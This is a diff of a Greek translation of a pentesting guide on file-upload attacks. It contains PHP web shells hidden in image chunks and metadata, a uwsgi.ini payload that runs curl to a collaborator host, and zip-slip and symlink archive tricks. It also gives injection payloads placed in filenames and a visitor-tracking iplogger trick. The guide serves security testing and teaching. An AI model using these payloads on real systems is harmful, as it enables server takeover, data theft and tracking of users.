real image** (confuse the _file_ command). Ή εισάγετε το shell μέσα στα **metadata**:\ +- Παρακάμψτε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού image** (να μπερδέψετε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\ `exiftool -Comment="' >> img.png` -- Αν στην εικόνα σας εφαρμόζεται **compressions**, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**. -- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Η web σελίδα θα μπορούσε επίσης να **αναδιαστασιολογεί** την **εικόνα**, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**. -- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Μια άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει ένα image resizing**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **επιβιώσει τη συμπίεση**. -- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Αν **προστίθεται συμπίεση στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές μπορεί να μην είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Η web σελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει της αλλαγής μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Επίσης, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Άλλα κόλπα για δοκιμή +### Άλλα κόλπα για έλεγχο -- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση). -- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor. -- Πιθανή αποκάλυψη πληροφοριών: -1. Ανεβάστε **πολλές φορές** (και **ταυτόχρονα**) το **ίδιο αρχείο** με το **ίδιο όνομα** +- Βρείτε ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση). +- Βρείτε ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor. +- **Πιθανή αποκάλυψη πληροφοριών**: +1. Κάντε upload **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα** 2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** -3. Ανεβάζοντας ένα αρχείο με **"." , "..", ή "..."** ως όνομα. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα uploaded files στον κατάλογο "/www/uploads/", το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στον κατάλογο "/www/". -4. Ανεβάστε ένα αρχείο που ίσως δεν διαγράφεται εύκολα, όπως **"...:.jpg"** σε **NTFS**. (Windows) +3. Ανέβασμα αρχείου με **"." , "..", ή "..." ως όνομα**. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το "." filename θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στο "/www/" directory. +4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows) 5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) -6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **reserved** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. -- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα. +6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **reserved** (**forbidden**) **names** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. +- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοίξει κατά λάθος από το θύμα. -### Ειδικά κόλπα για επεκτάσεις +### Ειδικά κόλπα επεκτάσεων -Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο **.config** για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο **.htaccess** trick για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο **.config** trick για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Τα αρχεία `.phar` είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτελώντας τα με php, ή συμπεριλαμβάνοντάς τα μέσα σε ένα script...) +Τα αρχεία `.phar` είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτέλεση με php, ή include μέσα σε ένα script...). -Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για php αρχεία που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, κάποια στιγμή, κάποιος μπορεί να έχει επιτρέψει **την εκτέλεση αυτής της επέκτασης**. +Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για php αρχεία που είναι μόνο για **import files**, οπότε κάπου μπορεί να έχει επιτραπεί η **εκτέλεση αυτής της επέκτασης**. ## **Jetty RCE** @@ -134,11 +134,11 @@ GET /storage/files/0xdf.php?cmd=id ## **uWSGI RCE** -Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την πρωτότυπη έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε uWSGI servers εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρυθμίσεων `.ini`. Τα αρχεία ρυθμίσεων του uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώνουν "magic" μεταβλητές, placeholders, και operators. Σημειωτέον, ο τελεστής '@', χρησιμοποιούμενος ως `@(filename)`, έχει σχεδιαστεί για να συμπεριλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν επεξεργάζεται ένα αρχείο `.ini`. +Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε uWSGI servers αν κάποιος έχει τη δυνατότητα να τροποποιήσει το `.ini` configuration file. Τα αρχεία ρυθμίσεων uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "magic" variables, placeholders και operators. Σημειωτέον, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα `.ini` configuration file υποβάλλεται σε επεξεργασία. -Εξετάστε το παρακάτω παράδειγμα ενός κακόβουλου `uwsgi.ini` αρχείου, που παρουσιάζει διάφορα schemes: +Σκεφτείτε το ακόλουθο παράδειγμα ενός κακόβουλου `uwsgi.ini` αρχείου, που παρουσιάζει διάφορα schemes: ```ini [uwsgi] ; read from a symbol @@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου διαμόρφωσης. Για να ενεργοποιηθεί και να αναλυθεί η διαμόρφωση, η διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από crash ή λόγω ενός Denial of Service attack) είτε το αρχείο να ρυθμιστεί για auto-reload. Η λειτουργία auto-reload, εάν είναι ενεργοποιημένη, φορτώνει ξανά το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές. +Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από ένα crash ή λόγω μιας επίθεσης Denial of Service) είτε το αρχείο πρέπει να έχει οριστεί σε auto-reload. Η δυνατότητα auto-reload, αν είναι ενεργοποιημένη, ξαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν ανιχνεύει αλλαγές. -Είναι κρίσιμο να κατανοήσετε την ελαστική/χαλαρή φύση του τρόπου ανάλυσης του αρχείου διαμόρφωσης από το uWSGI. Συγκεκριμένα, το payload που συζητήθηκε μπορεί να εισαχθεί μέσα σε ένα δυαδικό αρχείο (όπως μια εικόνα ή ένα PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης. +Είναι κρίσιμο να κατανοήσετε τη χαλαρή φύση του parsing των αρχείων ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητούμενο payload μπορεί να εισαχθεί σε ένα binary αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης. ## **wget File Upload/SSRF Trick** -Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάζει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των αρχείων που κατεβαίνουν είναι μέσα σε μια whitelist για να διασφαλίσει ότι θα κατεβούν μόνο επιτρεπτά αρχεία. Ωστόσο, **this check can be bypassed.**\ -Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο που ονομάζεται "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **bypass** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. +Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων βρίσκεται σε μια whitelist για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατέβουν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ +Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** περικόπτει τα ονόματα αρχείων στα **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα θα **παρακάμψει** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -186,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Σημειώστε ότι **άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε διαφορετικό αρχείο**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και στη συνέχεια το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με το **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα που ανακατεύθυνε με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL**. +Σημειώστε ότι **μια άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server redirect to a different file**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και έπειτα το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός εάν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα προώθησης με το όνομα του αρχείου που αναφέρεται στο αρχικό URL**. ## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθά Pentesters και Bug Hunters στο testing των μηχανισμών file upload. Χρησιμοποιεί διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας σχολαστικές αξιολογήσεις των web applications. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθά Pentesters και Bug Hunters στη δοκιμή μηχανισμών file upload. Χρησιμοποιεί διάφορες bug bounty techniques για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, διασφαλίζοντας πλήρεις αξιολογήσεις web εφαρμογών. ### Corrupting upload indices with snprintf quirks (historical) -Κάποιοι legacy upload handlers που χρησιμοποιούν το `snprintf()` ή παρόμοιο για να φτιάξουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και αποκοπής στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά αρχεία με δείκτες στην πλευρά του server, μπερδεύοντας λογική που υποθέτει αυστηρό σχήμα (π.χ. το χειρίζεται ως multi-file upload και παίρνει μη ασφαλείς διαδρομές). Παρότι είναι πιο εξειδικευμένο σήμερα, αυτό το pattern “index corruption” εμφανίζεται περιστασιακά σε CTFs και παλιές βάσεις κώδικα. +Κάποιοι παλαιότεροι upload handlers που χρησιμοποιούν `snprintf()` ή παρόμοια για να φτιάξουν πίνακες multi-file από ένα single-file upload μπορούν να ξεγελαστούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Εξαιτίας ασυνέπειας και αποκοπής στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά αρχεία με δείκτες στην πλευρά του server, μπερδεύοντας λογικές που υποθέτουν αυστηρή δομή (π.χ. αντιμετώπιση ως multi-file upload και εκτέλεση μη ασφαλών κλάδων). Αν και σπάνιο σήμερα, αυτό το μοτίβο «index corruption» εμφανίζεται περιστασιακά σε CTFs και παλαιότερα codebases. ## From File upload to other vulnerabilities -- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** -- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** -- Set **filename** to `` to achieve a XSS -- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) +- Ορίστε την **filename** σε `../../../tmp/lol.png` και δοκιμάστε να επιτύχετε **path traversal** +- Ορίστε την **filename** σε `sleep(10)-- -.jpg` και ίσως καταφέρετε **SQL injection** +- Ορίστε την **filename** σε `` για να επιτύχετε XSS +- Ορίστε την **filename** σε `; sleep 10;` για να δοκιμάσετε κάποιο command injection (περισσότερα [command injections tricks εδώ](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) -- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- Δοκιμάστε **different svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Αν μπορείτε να υποδείξετε στον web server να πιάσει μια εικόνα από ένα URL, μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **αποθηκευτεί** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες κάθε επισκέπτη**. +- Αν μπορείτε να **υποδείξετε στον web server να πάρει μια εικόνα από ένα URL** μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **saved** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Ειδικά διαμορφωμένα PDFs για XSS: Η [ακόλουθη σελίδα παρουσιάζει πώς να **ενθέσετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs, μπορείτε να ετοιμάσετε κάποιο PDF που θα εκτελέσει αυθαίρετο JS σύμφωνα με τις δοθείσες οδηγίες. -- Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **antivirus** -- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά το uploading αρχείων +- Ειδικά διαμορφωμένα PDFs για XSS: Η [επόμενη σελίδα παρουσιάζει πώς να **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs θα μπορούσατε να προετοιμάσετε ένα PDF που θα εκτελέσει αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες. +- Ανεβάστε το περιεχόμενο του \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) για να ελέγξετε αν ο server έχει κάποιο **antivirus** +- Ελέγξτε αν υπάρχει κάποιο **size limit** κατά το ανέβασμα αρχείων -Ακολουθεί μια λίστα top 10 πραγμάτων που μπορείτε να πετύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Ακολουθεί μια top 10 λίστα πραγμάτων που μπορείτε να πετύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -239,15 +239,15 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. +Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων. ## Zip/Tar File Automatically decompressed Upload -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +Αν μπορείτε να ανεβάσετε ένα ZIP που θα αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα: ### Symlink -Ανεβάστε ένα archive που περιέχει soft links προς άλλα αρχεία, τότε, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα linked files: +Ανεβάστε ένα archive που περιέχει soft links (symbolic links) προς άλλα αρχεία, και στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα προσπελάσετε τα συνδεδεμένα αρχεία: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -255,18 +255,18 @@ tar -cvf test.tar symindex.txt ``` ### Αποσυμπίεση σε διαφορετικούς φακέλους -Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση είναι ένα σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να αποτρέψει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων file uploads, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του μορφότυπου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμπτουν περιορισμούς και να διαφεύγουν από ασφαλείς upload directories χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευμένης εφαρμογής. +Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω κακόβουλων μεταφορτώσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του ZIP archive format μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς καταλόγους ανεβάσματος, χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευμένης εφαρμογής. -Ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί ως εξής: +Ένας αυτοματοποιημένος exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμος στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργήσετε ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη λειτουργία του. +Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχευθεί ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του. -Παρακάτω είναι ένα παράδειγμα Python code που χρησιμοποιείται για να δημιουργήσει ένα malicious zip file: +Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα κακόβουλο zip αρχείο: ```python #!/usr/bin/python import zipfile @@ -288,7 +288,7 @@ create_zip() Για περισσότερες λεπτομέρειες **δείτε το αρχικό άρθρο στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: Γράφεται PHP κώδικας που εκτελεί εντολές που περνιούνται μέσω της μεταβλητής `$_REQUEST`. +1. **Δημιουργία PHP Shell**: Γράφεται PHP κώδικας για την εκτέλεση εντολών που περνάνε μέσω της μεταβλητής `$_REQUEST`. ```php ``` -2. **File Spraying and Compressed File Creation**: Δημιουργούνται πολλά αρχεία και συγκεντρώνεται ένα αρχείο zip που περιέχει αυτά τα αρχεία. +2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να πραγματοποιηθεί directory traversal. +3. **Τροποποίηση με Hex Editor ή vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας "xxA" σε "../" για να περιηγηθεί σε φακέλους. ```bash :set modifiable @@ -324,31 +324,31 @@ pop graphic-context ``` ## Ενσωμάτωση PHP Shell σε PNG -Η ενσωμάτωση ενός PHP shell στο chunk IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από την PHP-GD είναι ιδιαίτερα σχετικές 